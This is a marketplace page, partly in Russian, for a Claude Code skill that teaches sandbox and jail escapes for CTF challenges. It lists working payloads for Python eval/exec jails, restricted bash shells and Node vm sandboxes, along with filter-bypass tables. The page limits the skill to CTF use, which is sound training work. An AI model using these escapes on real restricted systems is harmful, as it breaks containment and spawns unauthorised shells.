ctf-jail
БесплатноБез исполняемых скриптовНе проверенProvides sandbox and jail escape techniques for CTF challenges. Use when the target runs your input inside a restricted Python eval or exec, a bash restricted…
от jiayaoqijia★ 81 звезда на GitHubОб этом скилле
CTF Jail & Sandbox Escape
Every jail is a filter plus an execution primitive. Read the filter source first, then pick the shortest route to open('/flag').
Scope and safety
Jails in CTF challenges are designed to be escaped. Do not reuse these payloads against production services. Keep working scripts under ctf-solver/workspaces/<challenge>/.
Step 1: Classify the jail
| Evidence | Jail type | First move |
|---|---|---|
eval(input), exec(input), compile() |
Python eval/exec | Builtin and subclass chains |
input() loop, python3 -c with -S or restricted __builtins__ |
Python restricted | Recover __builtins__, then __import__ |
rbash, sh -r, PATH reset, cd blocked |
Bash restricted shell | Shell builtins and pager escapes |
vm.runInNewContext, vm2, quickjs |
JS sandbox | constructor.constructor / known CVE |
disable_functions, open_basedir |
PHP | putenv+LD_PRELOAD, FFI, mail() |
loadstring, os missing |
Lua | Table indexing and registry access |
seccomp, prctl, allowed syscall list |
Native sandbox | Stop: use /ctf-pwn |
If the challenge gives you the filter, diff it against a normal interpreter. The bug is whatever it forgot.
Python jails
Quick wins, in order — try all five before inventing anything:
__import__('os').system('cat /flag')
__import__('os').popen('cat /flag').read()
breakpoint() # py3.7+, drops into pdb; then !cat /flag
help() # then: !cat /flag (pager shell escape)
license() # same pager trick
If builtins are stripped, walk to them:
().__class__.__base__.__subclasses__() # list every loaded class
[x for x in ().__class__.__base__.__subclasses__() if 'warning' in x.__name__][0]()._module.__builtins__['__import__']('os').system('sh')
globals()['__builtins__']['__import__']('os').system('sh')
vars(__builtins__) if '__builtins__' in globals() else None
Useful stable indices are fragile across versions — print the list first, then index the class you actually saw (typically warnings.catch_warnings, os._wrap_close, or subprocess.Popen).
Character and keyword filters:
| Blocked | Bypass |
|---|---|
| quotes | chr(47), bytes([47]).decode(), '%c' % 47, ().__doc__[0] |
_ |
getattr(o, chr(95)*2 + 'class' + chr(95)*2), vars(), dir() |
| dots | getattr, o[attr], dict(zip(...)) |
import |
__import__, importlib.import_module, __builtins__['__import__'] |
| digits | len('aaaa'), True+True, ord('a')-ord('a'), (1).__class__ tricks |
| spaces | tabs, /**/, parenthesised expressions, newlines |
+ |
''.join([...]), f'{a}{b}', % formatting |
| parentheses | decorators (@__import__), walrus, print as a statement |
| almost everything | repunit decomposition, lambda calculus — see ../ctf-misc/pyjails.md |
Walrus reassignment is the standard escape from "variables are fixed" puzzles: (abcdef := 'new') rebinds a constrained name. Decorator form escapes "no calls, no quotes":
@__import__
@os.system
@'/bin/sh'
class X: pass
f-string / format-spec injection: when the challenge stores your string in a config and renders it, a key named eval(payload) executes during rendering — see ../ctf-misc/pyjails.md.
Audit hooks: if sys.addaudithook is installed, prefer paths that do not trip the audited event (e.g. read via os.open/os.read instead of open, or reach the flag through a class already holding it). Do not assume you can remove the hook.
Bash restricted shells
# read the flag without cat/head/less
HISTFILE=/flag /bin/bash && history
bash -v /flag.txt # verbose mode echoes file lines
exec 3< /flag; cat <&3 # redirection still works
# editor and pager escapes
vi /tmp/x → :!sh :set shell=/bin/sh :shell
less /etc/passwd → !sh
awk 'BEGIN{system("/bin/sh")}'
find / -exec /bin/sh \; -quit
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Globbing and quoting beat PATH filters:
/?in/?sh # /bin/sh without naming it
/bin/c?t /flag
$'\x2fbin\x2fsh' # hex-escaped path
/proc/self/root/flag # same file, different path string
cp /flag /tmp/f; /bin/sh
$0, BASH_ENV=/tmp/payload, PS4='$(sh)', and PROMPT_COMMAND are all rebound on the next shell start. Full catalogue: ../ctf-misc/bashjails.md.
JavaScript / Node sandboxes
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString()
this.constructor.constructor('return global')()
process.binding('spawn_sync') // no require needed
vm is not a security boundary — any reachable host object gives you the real Function construc
Установить ctf-jail в Claude Code и Claude Desktop
Зарегайся, чтобы установить скилл
Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.
- Открой команду установки в одну строку
- Сохраняй скиллы в синхронизируемую библиотеку
- Уведомления, когда скиллы обновляются
Разрешённые инструменты
Инструменты, которые скиллу разрешено вызывать.
BashReadWriteEditGlobGrepTaskWebFetchWebSearchSkillВложенные файлы
FAQ
Что делает скилл ctf-jail?
Provides sandbox and jail escape techniques for CTF challenges. Use when the target runs your input inside a restricted Python eval or exec, a bash restricted shell, a Node.js vm or vm2 context, a Lua or PHP sandbox, or any filter that blocks characters, keywords, builtins or imports while still letting code run. Also use for pyjail or bashjail prompts, "escape the sandbox", "no quotes", "only these characters allowed", and disable_functions or open_basedir bypasses. Do not use it for seccomp-filtered native binaries or ROP chains (use ctf-pwn), and do not use it for web application logic bugs with no interpreter sandbox.
Как установить скилл ctf-jail?
Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.
Скилл ctf-jail запускает скрипты?
Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.
Похожие скиллы
mcp-builder
Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when…
от Anthropicclaude-api
Reference for the Claude API / Anthropic SDK — model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration. TRIGGER…
от Anthropicalgorithmic-art
Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code…
от Anthropicmcp-integration
This skill should be used when the user asks to "add MCP server", "integrate MCP", "configure MCP in plugin", "use .mcp.json", "set up Model Context…
от Anthropic